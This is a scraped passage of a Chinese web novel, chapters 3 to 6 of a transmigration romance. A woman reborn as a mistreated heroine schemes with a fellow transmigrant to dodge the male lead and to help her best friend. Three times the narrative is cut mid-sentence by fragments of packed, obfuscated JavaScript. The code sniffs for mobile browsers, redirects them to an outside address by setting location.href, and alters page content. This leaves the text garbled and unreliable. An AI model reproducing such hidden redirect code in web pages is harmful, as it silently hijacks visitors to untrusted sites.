l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527469|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候喜欢从下往上看,营造一种楚楚可怜的感觉。陆靳则穿了一身黑衣,浑身上下都是黑的,体恤下摆掖进裤子里,外面套着一件冲锋衣,下巴被竖起的衣领挡住。近乎完美的身材被包裹进修身的衣服里,非常引人注目。 陈既的模样当然也不差,毕竟是后期和男主处成最好兄弟的人。一般和男主沾点边的重要配角,不说别的,颜值就先不会低到哪里去。 季蝉衣抬头扫过三人,不得不和陆靳短暂的对上了视线。 后者很沉默,靠着门框静静的看着她,那双眼睛很深,像是一片汪洋大海,让人不知不觉中就溺毙进去。 陆靳没说话,季蝉衣也没说话。两个人无声对峙片刻,周围的情绪波涛汹涌。 纪雪薇注意到两个人之间不同寻常的气氛,有些不悦的皱了皱眉。很快不动声色的上前一步,先和李茵陈和季知远打了招呼,然后把视线移向季蝉衣,朝她露出一个楚楚动人的笑:“熠熠姐。” 这声招呼打破了季蝉衣和陆靳之间微妙的气氛。季蝉衣率先移开视线。 挑衅,这绝对是挑衅。 季蝉衣迅速把纪雪薇的笑容和她的穿着归因于她的挑衅——因为季蝉衣也喜欢穿浅色衣服,但纪雪薇一开始不是这样的,她一开始的风格更偏向可爱那一卦的,但渐渐的不管是穿衣打扮还是妆容上的风格都几乎变得和原主大差不差——这不是挑衅是什么? 季蝉衣冷笑一声,在心里道,好啊你,学人精! 除了纪雪薇,陆靳和陈既和书中描写的性格特征也十分相符,这两个一个是披着淡漠人皮的疯子,另一个就是开屏的花孔雀,嘴又欠又毒还总喜欢没事找事。 虽然陆靳和陈既都很帅,而且还帅的各有各的特色,但季蝉衣对他们已经有了一个先入为主的不好印象,所以连带着觉得他们的模样也仿佛跟着一起逊色起来。 作为男主的好兄弟,书中当然也花了很大的篇幅写陈既。 陈既和女主是发小,在男主和女配出现之前,他和女主的关系很好。 但后来陈既和季蝉衣的关系就慢慢淡了,尤其是黛秋心——也就是他暗恋的那个女配——出现之后,他和女主的关系变得更加陌生。 明明一开始不是这样的,但不知道为什么自从男主和几个女配相继出现之后,原本那些和女主关系不错的人——除了原主的闺蜜简离从始至终都坚定不移的站在她身边之外——好像最后都变得和男主他们更加亲近。 哪怕是直到最后勉强He了,好像他们和女主的关系依然没能回到最初的样子,反而和男主的关系更好。 季蝉衣觉得很奇怪,不管是友情还是爱情,好像都格外偏爱男主,哪怕是男主的性格其实并不算太好,哪怕他看似冷漠、实际上是个疯子,但大家依然全都争先恐后的想变成小太阳去温暖男主。不管是本来是站在女主这边的好朋友还是各种各样的女配,大家最后都会毫无保留的对待男主。那她呢? 那女主呢? 女主好像成为了一个陪衬,一个见证男主感情变迁的陪衬。 可凭什么?季蝉衣觉得很不甘心。 如果她深陷其中,或许会和女主一样看不清自己脚底下的路。但现在她以一个局外人的身份看着一切,恍然觉得这一切实在是太不公平了。 此刻换做是她,她不愿意接受这样的结局。 现在陈既已经可以肆无忌惮的跟男主勾肩搭背,显然他们也逐渐开始变得熟稔起来。 季蝉衣知道用不了多久,等纪雪薇把自己的好朋友黛秋心介绍给陈既的时候,陈既和陆靳的关系才真的会发生翻天覆地的变化。 “在想什么?” 季蝉衣猛然回神,一转头就发现周予安正带着笑容安静的看着她。 4. Chapter4. 季蝉衣回过神,同样看着周予安,不知道为什么松了口气。 真是的,共情能力太好也不是个好事啊,她刚刚想什么呢?她又不是真正的“季蝉衣”,眼前这堆人爱干什么关她屁事。就算他们都站在了对立面又有什么关系,她又不会因此觉得伤心。她现在唯一可以并肩作战的只有周予安,只有周予安才和她来自于同一个世界,拥有相同的思想,可以真正理解她。 季蝉衣连忙和其他人一一打过招呼,免不了被关心一顿,应付过去之后,就跟着大家一起落座,同时微微侧头小声的回答:“没什么,刚刚捋剧情呢。” “哦。所以得出什么结论了吗?” “陈既这玩意儿是留不得了。” “……不好意思,先打断一下——这个‘留不得’是我想的那个‘留不得’吗?” “咳咳,小周,事到如今我不得不和你说句掏心窝子的话了——人都是要往前看的,不经历风浪怎能见到彩虹?自己不狠,地位不稳。你可能会觉得我心狠手辣,但是天将降大任于斯人也,必先苦其心志,劳其体肤……或许你也会觉得把人吊在房梁上用皮带抽三天三夜有些太过于残忍了?” “……季小姐不用试探了,我没有底线的。” 季蝉衣顿时乐不可支。 两个人的声音都压得很低,在外人看来,就有些亲昵的意思。 陈既和陆靳正和李茵陈和季知远聊天,没有注意到两人的动静。 只有纪雪薇在推杯换盏中留意到了季蝉衣脸上的笑容,她低下头,面容有一瞬间的扭曲。但是再抬起头时,就变成了笑意盈盈的模样:“今天我厚着脸皮跟陆哥哥一起过来也是想专门看望一下熠熠姐,之前听说熠熠姐生病了,我担心了好几天,但是我也知道自己帮不上什么忙,过来也是添乱……幸好熠熠姐你醒了,要不然、要不然我真不知道该怎么样才好了。”说到最后,眼角都有些微微泛红。 李茵陈笑道:“你这孩子,之前熠熠生病的时候,你急得三天两头的往这边跑,都快比阿姨看望熠熠还勤了,还说什么帮不上忙。快别再说这些话了,以后把这里当自己家,想来坐坐就过来。” 说着又顺便和陆靳和陈既客气了一番,感谢他们专门来看季蝉衣。 季蝉衣狐疑的看了纪雪薇一眼,纪雪薇似乎没想到她会看自己,有些慌乱的低下头,但等自己脸上绽放出一个完美无瑕的笑容再抬起头时,季蝉衣已经移开了视线。 纪雪薇的笑容僵了僵,还没来及说什么,陈既已经大大咧咧的笑起来:“阿姨你跟我们还客气什么,之前咱们两家就是邻居,我天天往这边跑,你们除了没亲自生我之外,和我爸妈都啥差别。” 陈既一向嘴甜会哄人,又口无遮拦惯了,李茵陈和季知远被他的话逗得直笑。李茵陈更是直接亲昵的上手捣了陈既一拳:“你这孩子,就会瞎说。下次再来阿姨这吃饭,之前你说你想吃卤鸡爪,阿姨给你做。” “哈哈,那真是太好了,我就爱吃您做的卤鸡爪。” 虽然是玩笑话,但陈既说的确实也没错,之前他们是邻居,两家关系一直很亲密。陈既的父母小时候还打趣要让两个人定娃娃亲。要不是后来那边要拆迁,他们不得不同时搬家,现在估计也依然做着邻居。 不过幸好搬走了,季蝉衣心有戚戚的想,要不然和这种胳膊肘往外拐的人对门,她晚上睡觉心里都不踏实。 几个人热热闹闹的说话,只有陆靳一言不发。他原本就不是话多的人,在热闹的人群里就更显得安静。 季蝉衣的视线偶尔扫过去,能看到他漫不经心垂下的眼皮和那双没有任何情绪的眸子。 就在季蝉衣的视线再次若有所思的扫过他时,对上了他如墨色一般深沉的眼睛。 季蝉衣悚然一惊,陆靳并没有立刻移开视线,而且直勾勾的用那双平静冷淡的眸子盯着她。季蝉衣忽然被抓包,大脑没反应过来,也就错失了自然移开视线的最佳时机。 两个人无声对峙片刻,还没等季蝉衣想到打破僵局的办法,就看见身边伸出一直胳膊,巧妙地挡住了陆靳的视线。 季蝉衣顺势回头,看见了周予安靠近的脸:“尝尝这个,你最喜欢的。” 季蝉衣下意识随着周予安的动作看向了自己的碗里,周予安给她夹了一块最好的鱼肉,刺已经被全部剔光了。 这还真是她喜欢吃的,没追究周予安怎么这么巧的夹来了自己爱吃的菜,季蝉衣知道他是想帮自己解围,于是便顺着台阶下了:“谢谢,你也尝尝,这个鱼肉可好吃了,配上大米饭再浇上汤汁更香。” “好,我一会儿就试试。” 季蝉衣吃了两口,不着痕迹的看向陆靳,后者已经移开了视线,微微低头,冲锋衣的衣领挡住下巴,看不清脸上的表情。 这顿饭吃的无波无澜,有两位长辈在场,就连爱开玩笑、嘴上没个把门的陈既也没有太口无遮拦。 吃完饭之后,三个人在客厅陪李茵陈和季知远聊了会天也就告辞了。 陈既走的时候还笑眯眯的邀请季蝉衣改天一起去吃饭,季蝉衣嘴上笑着答应,心里却干脆利落的想,没门。 因为有陈既的插科打诨和长辈们在场,这顿饭季蝉衣没有单独和陆靳说过一句话。 她说不清自己是觉得松了口气还是觉得可惜,毕竟纪雪薇虽然一直想刺挠她,但这也是个刺挠纪雪薇的好机会。 周予安是不住在这里的,陆靳他们走后,周予安也要告辞离开了。 李茵陈想留周予安住下,劝道:“家里客房多,天都这么晚了,要不还是在这里住一夜吧,再说晚上开车也不安全啊。” “不了阿姨,反正离得也不远。等明天早上我再来看蝉衣。” 李茵陈一路把人送到门口,依然不死心的劝周予安留下,见周予安真的没有留下的意思,这才有些依依不舍的目送他离开了。 把客人都送走后,家里一下子就安静下来。 原本季蝉衣也是不住在家里的,她大学毕业之后,李茵陈和季知远就给她在公司附近买了一套小房子以方便她上班。之前她一直住在那个房子里,直到前几天撞到头陷入了昏迷需要有人照顾,这才又暂时搬了进来。 现在季蝉衣醒了过来,按照她的意思就是准备尽早搬回去。但李茵陈和季知远不放心,强留她再在家里住几天,这样他们还能照顾季蝉衣一段时间,等季蝉衣好利索了再放她回去。 季蝉衣知道李茵陈和季知远是担心自己的身体,怕她一个人住不方便,即便是有保姆也不放心,也就不好再推辞。她不是硬心肠的人,更何况现在的她虽然不是李茵陈和季知远的真正的女儿,但她同样不忍拒绝这对父母诚挚的爱意。 不管是对原文中的季蝉衣还是对现在的季蝉衣来说,这种来自于亲人的爱永远都是支撑她一路走下去的支柱。 晚上躺在床上之后,哄闹了一天的别墅才彻底安静下来。 但季蝉衣却翻来覆去的睡不着。 不知道是不是昏迷了很久的原因,她现在好像不缺觉,也丝毫没什么睡意。 她躺在床上,辗转反侧,最后还是幽幽叹了口气。 反正也睡不着,季蝉衣索性放平心态,开始思考接下来自己要做什么。 作为穿进书中不属于这个世界的人物,季蝉衣唯一在意的当然就只有一件事——那就是还能不能回到现实世界,以及怎么回到现实世界。 今天时间仓促,季蝉衣刚醒来大脑又比较混乱,所以还没来得及仔细和周予安商议这件事。不过她又觉得也不急于一时,毕竟眼下她显然是也没办法轻易从这里离开,计划这件事的日子还有的是呢。 按照季蝉衣之前看穿书小说的经验,在pass掉男主和女主共同穿回现实世界的可能性之后,想回到现实世界一般有两条路可以走。一是完成某个任务,比如成功攻略某某某、获得某某某成就,二是,假装原本的角色替她顺利的走到大结局,然后死后应该就会自动脱离这个世界。 前者估计可能性很小,因为季蝉衣既没有绑定什么系统也没有收到什么超现实的任务书,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527470|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个可以忽略不计。所以现在看来,是不是她只要代替原本的“季蝉衣”走到这本书的完结就可以了? 眼下的情况清晰明了,男主和女配已经“相认”,男主也成功的把纪雪薇当成是曾经救下自己的人了,所以如果按照小说原文的剧情推进的话,陆靳和她之间一定会出现虐心甚至是虐肾和死亡的情节。那么原本季蝉衣潦草想过的让陆靳和纪雪薇永远见不上面、把这一切扼杀在摇篮之中的计划就泡汤了。 她已经失去了把虐文转变为甜文的最佳时机,现在摆在她面前的只有两条路。 一条是,假装自己是在演戏,窝囊的按照小说中的剧情过下去,最后恨恨大结局。 另外一条就是……季蝉衣在黑暗中缓缓睁开了眼睛,另外一条就是完全抛开书中的内容,管它什么真的假的,谁是谁非,她不会爱任何人,假装的也不会。 谁敢惹她,她照样惹回去,谁让她不开心了,她就发疯使阴招,最后是这本小说走向另外一个完全不同的结局……不知道是不是因为借用了别人的身体,季蝉衣常常会下意识觉得自己现在不管干什么都带着一个面具,没人会知道面具下真实的她是什么模样,而她也不必为了这个面具负责。 虽然这么说有些惊悚,但来到这个身体里面之后,季蝉衣确实可以放开很多,甚至敢于完全按照自己的想法做任何事情。因为不论如何,反正她现在是借的别人的躯壳,她感觉这个面具已经像是一个保护壳一样将她牢牢的武装起来。 前者的好处就是,虽然过程憋屈,但是结果完全可控。而后者的好处……季蝉衣觉得太多了,一时间根本就说不完。 随心所欲的唯一不好就是未来变得不可控,一旦开始,那么谁都不知道他们会走向什么样的结局……但这对季蝉衣来说完全没关系。 因为对原主来说,她的人生本来就很糟糕了,所以哪怕是再糟糕一点她也不介意。 毕竟不会再有什么事情比死亡更可怕。 反正都乱成一锅粥了,季蝉衣就再给它加把柴。季蝉衣一直觉得让自己解脱困境最好的办法就是干一件更混蛋的事情,把一切搅的更乱。虽然这么做不会让事态变得更好,但是可以让那些惹了她的人也一起变得更糟。 季蝉衣没花太久的时间就计划好了自己接下来要做的事情——那就是不做任何计划,随心所欲的去做任何事情,并且时刻准备的把一切都搞砸。反正她也不知道究竟怎么样才能离开这里,既然做什么都可能不对,那就意味着什么都可以做。 她和原主最大的区别就是,她不爱陆靳。所以陆靳不管做什么都不会伤害到她,所以在某种意义上,她在这本虐女主的言情小说里可以算作是无敌的存在。 打定主意之后,季蝉衣又想到了原主小时候救下男主的事情……她思索了一会儿,还是决定先把这件事隐瞒下来。 她当然知道自己在“不经意间”把真相告诉男主会让纪雪薇跌落进尘土里,也会让陆靳后悔不已。要是操作得当,甚至会让很多人反目成仇。 但他们反目成仇了之后呢?他们后悔了,失意了之后呢?陆靳发现自己长大后喜欢的恰好是小时候自己承诺要娶的,那他岂不是就会更加把所有的重心放在季蝉衣身上? 他岂不就是会更加不择手段的想得到季蝉衣? 原文中陆靳是个看似冷漠实则内里是个疯子的角色,他想要的东西,他会用尽一切手段拿到手。季蝉衣不想被这样的人盯上,因为太恶心了。 这是爱着陆靳的原主最想要的结局,但不是季蝉衣想要的。 她不爱陆靳,所以她不需要陆靳幡然醒悟。她只需要陆靳离自己远远的,保证自己的绝对自由。 所以她现在甚至很庆幸有纪雪薇这么个人来缠着陆靳,庆幸陆靳此刻还不知道她才是真正救他的人。 这件事可以作为一个大招在最后的时候再用。现在季蝉衣要做的,就是赶紧和所有会伤害她的人划清界限。如果他们还敢再来伤害她,那么她只会更狠的还手,连带着原主那一份一起报仇。 5. Chapter5. 为了不太引人注目,周予安在季蝉衣醒了之后就大大减少了自己去探望的次数,两个人开始频繁的借助手机聊天。 但这样也有点不方便,毕竟打字再怎么样也不如面对面交流便利。季蝉衣想着等自己搬出去住的时候,一定要让周予安住自己附近,这样她就可以随时随地的去找他,有什么想法也就可以及时的告诉周予安。 好在虽然没办法和周予安经常见面,但季蝉衣在家住着的这几天里,李茵陈和季知远贴身照顾她,她也没有见到陆靳和纪雪薇的机会,每天睡醒了吃吃饱了睡,过得也算是滋润。 在家里住了小半个月,季蝉衣已经彻底恢复了,能跑能跳,而且胃口也比之前更好了,三天胖了得有两斤,脸色也红润很多。 李茵陈和季知远都很欣慰,但季蝉衣老是宅着也无聊,再加上刚刚穿进来还有很多事情要忙,于是趁着一个周末的工夫就借口自己要出来工作,搬回了自己那个小房子里。 季蝉衣穿来之前,原主说是有份体面的工作,但其实也就是在自家公司里摸摸鱼打发打发时间,所以她想去公司就去看看,不想去也不没什么。原主每天就是和各种小姐妹逛逛街买买衣服,完全没有任何生存的压力。 既然如此,现在季蝉衣也不用急着去公司,先适应一段时间再说。 搬回自己的房子之后,季蝉衣第一件事就是给周予安打了电话。 这两天忙着适应新家,买新东西放进去,把不用的东西扔出来,所以季蝉衣也一直没顾得上给周予安发消息。没想到过了三四天之后,周予安忽然从天而降,出现在季蝉衣家门口。 在他身后正忙着帮他搬家具的几个工人。 迎着季蝉衣诧异的表情,周予安挑了挑眉:“准备欢迎新邻居吧。” 这是一栋一层两户的房型,原本季蝉衣对面的那一户空着,现在被周予安买了下来。 季蝉衣惊喜道:“前几天我还寻思着给你发消息让你在我家附近租个房子住呢,可以啊,直接在我对面买了个房子,以后咱们想说什么可就方便多了。” 周予安靠着门框,闲适的摘下遮挡阳光的墨镜,修长的双腿随意的交叠:“是啊,果然钱能解决百分之九十的问题,多亏了这个‘钞能力’,我从买下这个房子到把东西搬进来花了不到一周的时间。” “怎么,还没适应富家公子哥的身份吗?” “有一点,毕竟从平民一下子飞升到天龙人,怎么说还是有点不同的。” 季蝉衣做了个“请”的手势,两个人边说边进了季蝉衣的房间。 外面的工人还在进进出出忙里忙外,还差几个大一点的家具没有搬进来,季蝉衣把门关上之后,外面的噪音瞬间消失不见。 季蝉衣进了厨房,边帮周予安倒了杯水边回头问:“对了,话说还一直没问你穿进来之前是干什么的?” “哦,也没什么,瞎忙呗。做点小生意,凑合着能生活就够了。” “谦虚呢吧?看你这样子和现在这个身份融合的挺好的啊,有底子的吧?” 周予安接过季蝉衣递来的水杯,忍不住笑了一下:“不算什么底子,也就勉强糊口。你呢?” 季蝉衣总觉得自己好像忘了问什么事情,但是一时半会儿的也想不起来,只好先回答周予安眼下的问题,随口说:“我啊,打工妹一枚,我穿来之前也就刚毕业没多久。” “哦。” “坐下吧,别客气,反正以后你也会常来,这个小沙发就是专门留给你的。” “可以啊,还有我的专属位置呢。” “那是,毕竟现在咱们也算是过命的交情了——过的是原文女主的命。也快到饭点了,中午想吃什么?我让人送过来。” “都可以,天太热了,要不吃点小龙虾?” “虽然不知道天热和吃小龙虾有什么必然的联系,不过就听你的吧——因为我也想吃了。” 季蝉衣说着,打电话让人来送小龙虾。 外面那几个工人手脚都很麻利,没一会儿就把家具搬的七七八八了。这个房子是精装修的,周予安做人比较糙,对住的地方不太介意,大概清扫一下,再添点家具什么的,不影响日常生活就够了。 工人走了之后,又来了几个家政阿姨过来帮忙收拾。 正好从旁边酒店点的小龙虾也送到了,小哥提了满满两大兜子的小龙虾和螃蟹,还带了两瓶啤酒。 两个人撸起袖子,把客厅的饭桌清理出来,面对面坐着开始大快朵颐。 两个人边吃边商量以后的事情。 季蝉衣戴着一次性手套,呲牙咧嘴的把螃蟹壳掰开:“我仔细想了想,接下来的剧情应该是围绕男主发小和原主的闺蜜展开,咱们暂时应该不用和男主正面交锋。原主闺蜜最近好像一直呆在国外,过两天才回来。” 季蝉衣之前已经把自己的想法和周予安说了,两个人一合计,很快制定了共同应对敌方的方针,那就是能躲则躲,反正一定要避免那个死亡的结局,要是实在是躲不过——那就到躲不过的时候再说。 “所以接下来咱们只需要好好苟着?” “是这样。” 季蝉衣目前最大的愿望就是穿回去,第二个愿望就是假如穿不回去的话,那就一定要好好的活着,不管是在哪个世界里都要好好活着。 季蝉衣掰了一块完整的蟹黄,心满意足的放进嘴里,同时含糊不清的张口:“不过你还记得简离和李听澜的剧情吗?” 简离就是从始至终都站在原主身边的好闺蜜,李听澜则是简离的官配。 说起这两个人的爱情故事,狗血虐心程度和男女主比也是有过之而无不及。季蝉衣因为一直想看男女主的结局,所以对这俩人的剧情只是大概看了两眼,大部分都跳过了,只记得这一对也无比糟心。简离喜欢李听澜,但李听澜却有心上人,于是简离一直卑微的守在李听澜身边,最后李听澜虽然和她结婚了,却是因为简离怀孕了他权衡利弊之后不得不做的选择,婚后依然是一个一味的付出另一个爱着别人,直到最后才强行HE……想到这里季蝉衣就直叹气。 这傻叉作者,怎么老是写一些这种情节,怎么,女主女配失去的只是自己的人生,但是男主失去的可是诚挚的爱情是吗。 季蝉衣一回忆这雷霆情节就忍不住翻白眼。 可能是季蝉衣眼中的嫌弃太明显,周予安忍俊不禁,顺手把自己手里的剥好的小龙虾放到季蝉衣面前的碟子里:“不太记得了,当时就是纯属好奇才看的,就看了个大概,现在我连书里的人叫什么都快记不清了。” “那就只能走一步看一步了。” “喝水吗?这小龙虾还挺辣的。” “冰箱里有冰可乐和气泡水,想喝直接去拿就行。这小龙虾我就要的中辣,你不是能吃辣吗?” “是能吃啊,这不是怕你吃不了,毕竟你才刚醒嘛。” “没事儿,我那就一点小伤,早就没事了。拿水的时候顺便帮我拿瓶冰可乐。” “好。” 周予安拿来了可乐,还顺便拿杯子装了半杯的冰。 季蝉衣接过冰杯和冰可乐,眼睛亮亮的:“我喝饮料最喜欢带冰块的了,要不感觉不管喝啥都不够味。” “麻辣小龙虾配上加冰可乐,你还挺会吃的。” “那是当然,之前那点工资几乎全挥霍在吃喝上了。言归正传, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527471|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几天我们和陆靳之间估计不会发生什么很重大的事件——至少我依稀记得小说里是这么写的。不过那个李听澜是男主的发小,估计也不是个什么好东西。我感觉简离回国之后应该会来找我,到时候一有什么风吹草动我立刻通知你。” “能认出来吧?” “放心吧,你给我看过的那些人里,就简离我觉得面熟。你别说,就好像我之前真的认识她一样。” 季蝉衣说着,终于想起自己要问什么了,她咽下嘴里的食物,问道:“简离应该是原主最亲近的朋友,其他人不熟就算了,总还是能用各种理由躲过去,陆靳和陈既最近也见不着,所以也先不用担心,但是……但是未来几天简离和李听澜过剧情,肯定会把我牵扯进去,到时候简离会不会觉得我像是忽然变了个人似的?” 周予安往她碗里放剥好的小龙虾肉的手一顿,很快又若无其事的把虾肉放到季蝉衣面前,笑道:“应该不会吧?到时候你回忆一下小说里是怎么描述女主的,可以简单模仿一下。实在不行你就说你撞到头了,撞得不轻,导致你性情大变。反正你现在已经魂穿到女主身上了,除了你知我知天知地知,别人都不知道,你现在就是如假包换的季蝉衣,就算是觉得你和之前不一样了又能怎么办呢,总不能把你的灵魂抽出来看看吧?” 季蝉衣一听,竟然觉得周予安说的很有道理。反正都这样了,除了破罐子破摔之外,他们好像确实也没有别的办法。 周予安又继续安慰道:“而且你已经和你,咳,和原主的父母生活了十几天了,他们都没发现什么不对劲,这就说明你和原主的性格说不定大差不差,我估计选咱们穿进来肯定是说明咱们有些特异之处的,说不定这个特异之处就是咱们和原身的情性很像。” “真是高山流水遇知音啊,听了你的话之后,我忽然感觉眼前豁然开朗。” “是吧,有时候还是别想太多,能过一天是一天呗。” “大道至简啊,大师我悟了。哎呦,不对,这辣椒油怎么溅到我袖子上了。” “没事,过来点,我先帮你套上一次性袖套,一会儿把衣服脱下来就好了。” 两个人油光满面的吃了顿酣畅淋漓的午饭,周予安的家已经收拾的差不多了,今晚就可以直接住进去。 帮忙把季蝉衣衣袖上的油渍洗干净之后,周予安顺手把厨余垃圾收好扔下去,和季蝉衣说了一句有事直接敲他的门之后,这才悠哉游哉回了自己的家。 季蝉衣吃饱喝足就有些犯困,正想窝在沙发上休息一会儿,手机忽然接连响起好几声消息提示音。 她迷迷瞪瞪的摸出手机看了一眼,原来是她和周予安刚刚才谈论过的简离给她发的消息:“大蝉,我后天就回去了,到时候一定要来机场接我。” “我带了很多当地的特色,你肯定会喜欢。” “我的行李都寄回去了,就带了一个行李箱,到时候你随便开个车过来就行。” “这两天先不洗头了,我算着时间,回去正好先洗个头。” 季蝉衣看了一眼简离对她的称呼,心说真是没招了才叫她大蝉。 毕竟叫大季太容易让人联想,大衣有点说不过去。选来选去,还是只有大蝉最合适。 简离这一个月一直呆在国外,所以才错过了季蝉衣生病昏倒这一系列的事情,季蝉衣忍不住想,简离不会知道等她再从国外回来,就会看见一个芯子被完全换掉的季蝉衣。 季蝉衣一一把能回复的消息全回了,然后放下手机,仰头倒在了沙发上,双目空空的盯着天花板,在心里默默的计算了一下。 后天……后天。 看来她要准备进入下一阶段的剧情了。 6. Chapter6. 两天的时间一晃而过,简离的飞机整点落地。 季蝉衣已经在机场外等她了,不过季蝉衣不是自己一个人来的,她还顺路带上了周予安。 简离被人流裹挟着走出机场,一眼就看见了站在车边的高挑身影。 她笑眯眯的朝季蝉衣走了过去,隔着很远就忍不住和她打招呼:“蝉衣——” 虽然这是季蝉衣第一次见到简离,但不知道为什么,简离给她一种很熟悉的感觉,就好像上辈子她们真的是亲密无间的好朋友一样。 原文中只有简离从始至终站在她身后默默支持她,可简离自己的结局也不够完美,所以如果可以的话,季蝉衣想在顾好自己的同时,最好能把简离也从沼泽里拉出来。 简离隔了这么久没见季蝉衣,有满肚子的话想和季蝉衣说。而季蝉衣也自然而然地揽着简离地胳膊,自然的就好像两个人本该如此。 简离正略有些激动着和季蝉衣说话的时候,前面车窗缓缓降下,周予安的脸出现在车窗后面:“两位,不如先上车再说话?这里停车停不了太久。” 简离有些诧异的用眼神示意季蝉衣:“这是你家的新司机?别说,长得还蛮帅的嘛。” 季蝉衣也完全没避着周予安,当着他的面就笑了:“后半句我认同,前半句就有些降低他的身价了。这是我好朋友周予安,我车今天限号,就借他的车来接你了。” 简离似乎意识到了什么,又看了周予安一眼,周予安便回以礼貌一笑。简离顿时觉得自己好像发现路什么不可告人的秘密,边拉开车门边一脸兴奋的朝季蝉衣挤眉弄眼。 季蝉衣一把将人推了进去,也忍不住跟着笑了。 在路上,季蝉衣简单给简离介绍了一下周予安。周予安这人看起来懒懒散散的,像是不怎么靠谱的模样,但是说话聊天倒是很和善,跟谁都能聊得来,也没什么大少爷脾气,一举一动都很随意,简离很快和他混熟了。 简离还小的时候,父母双双在一场车祸里丧生,不过简离自己很争气,大学毕业之后放弃了保研的资格,凭借自己的努力打工创业,一路往上爬,现在也拥有了一家规模不小的公司,管着百来号员工。 简离和季蝉衣高中的时候就认识了,季蝉衣陪她度过了人生中最艰难的那段时期,对简离来说,季蝉衣就是她现在仅剩的亲人。 简离住的小区和季蝉衣是同一个,当初季蝉衣在这里买房子的时候,简离也顺便在这里买了一个住着,以方便常常约季蝉衣一起吃饭。她出国的这一个月的时间里,家政阿姨定期上门打扫卫生,所以回来不用再专门打扫一遍就可以直接住进去。 把简离送到她家楼下的时候,简离的视线还一直在季蝉衣和周予安身上打转,似乎想窥探出什么东西,最后她拍了拍季蝉衣的肩膀,笑道:“我先去补个觉倒倒时差,回头找你吃饭,到时候咱们再好好聊聊。” “行啊简总,我等着狠狠宰你一顿呢。” “那晚上见。” “好,晚上见。” 看着简离上楼之后,周予安才又重新启动车子,把车缓缓驶进负一楼里的停车场里。 两个人乘电梯上去,季蝉衣低头回了几个消息,周予安道:“看来简离完全没有怀疑你的身份。” “是啊,算是躲过一劫。不过看简离那样子,好像误会咱俩之间有什么了。” “嗯……你很介意吗?” 季蝉衣懵了一下,把手机放回口袋里,随口说:“这有什么介意的,和你在一起总比和陆靳在一起强多了。” 想了想,季蝉衣真心实意的拍了拍他的肩膀,补充道:“要是真不行了,不如咱们凑合凑合在一起生活得了,毕竟咱们也算是有深刻革命友情的人了。你了解我的世界准则,我懂得你的生活方式,对别人说不了的话咱们可以使劲对对方说,真的,尤其是今天中午你给我把垃圾扔下去的时候,我疑惑那个死作者为什么不让你当男主的情绪达到了顶峰。” 周予安歪着头安静的看着她,片刻后移开了视线:“虽然这些话都是因为有个前提条件,不过我还是很开心听见。”顿了顿,他轻笑一声,“所以按照小说中常见的套路,如果我是男主的话,那我现在是不是应该边耍帅边回复一句——‘女人,以后你的垃圾都由我承包了’?” 季蝉衣忍不住笑出声来:“好啊,如果你真是男主的话,那事情就变得简单多了,我一定会求你最后不要‘天凉季破’,然后靠抱你的大腿美美大结局。” 不过可惜这个世界是个巨大的给命文学,别的女主好歹是男主红眼给女主命,她倒好,是白脸给男主命——括号,这个给命还是字面意义上的“给命”。 合着其他咯噔文学的给命是名词,到了她这儿就是动词了是吧。 真是不知情的爸,被连累的妈,受她拖累的家和破碎的她。 电梯停在六楼,两个人一前一后走出来。 周予安问:“那你晚上要和简离一起出去吃饭吗?” “对啊。我稍稍推算了一下,既然纪雪薇已经成功假冒了原主的身份,那么现在剧情应该已经进到二十章之后了,我依稀记得简离和李听澜是二十五章左右才通过女主和李听澜见面认识的,也就是说,现在简离和李听澜还没有见过面,不过估计也就是这两天的事儿了,我还在想,要不要推波助澜一把,干脆阻止简离和李听澜见面,从根源上解决问题得了。” 季蝉衣边说边输入密码,打开了门。 周予安跟在她身后进去,季蝉衣随手把钥匙往桌子上一扔,然后舒舒服服的长呼一口气。 周予安则轻车熟路的绕进厨房,帮她拿了一瓶冰可乐:“你想帮简离?” 季蝉衣一开始接可乐还会觉得不好意思,后来觉得周予安太客气了,现在——现在只觉得有这么个人在眼皮子底下晃悠真好:“是啊,毕竟她对原主也很好,我现在代替原主生活,怎么也得帮她一把,这也是……也肯定是原主想看见的吧。” “我支持你。要是有什么需要记得及时打给我,虽然我做不了成功的男主,但是可以做成功女主背后的男人。” “这个你放心。不过我已经不记得简离和李听澜见面的细节和具体情节了,只记得就是在这几天,话说你还有什么印象吗?” “……没有,前面的内容我是一点都记不起来了。” “意料之中,我也没什么印象了,算了,到时候兵来将挡水来土掩吧。” “也只能这样了。” 两个人聊了会天,天色就渐渐黑了下来。季蝉衣准备去赴约了,周予安就先起身回了自己的房间。 差不多快到约定的时间,季蝉衣披了一个外套就出了门。 为图方便,季蝉衣是打车出去的,路上有点堵车,就给简离发了个消息,说自己可能晚点到,让她先点菜。 简离回了个OK,季蝉衣这才关掉手机安心的浏览窗外的风景。 简离定了一家日料,她下午有点事,睡了三四个小时之后去了公司一趟,准备直接从公司去日料店。 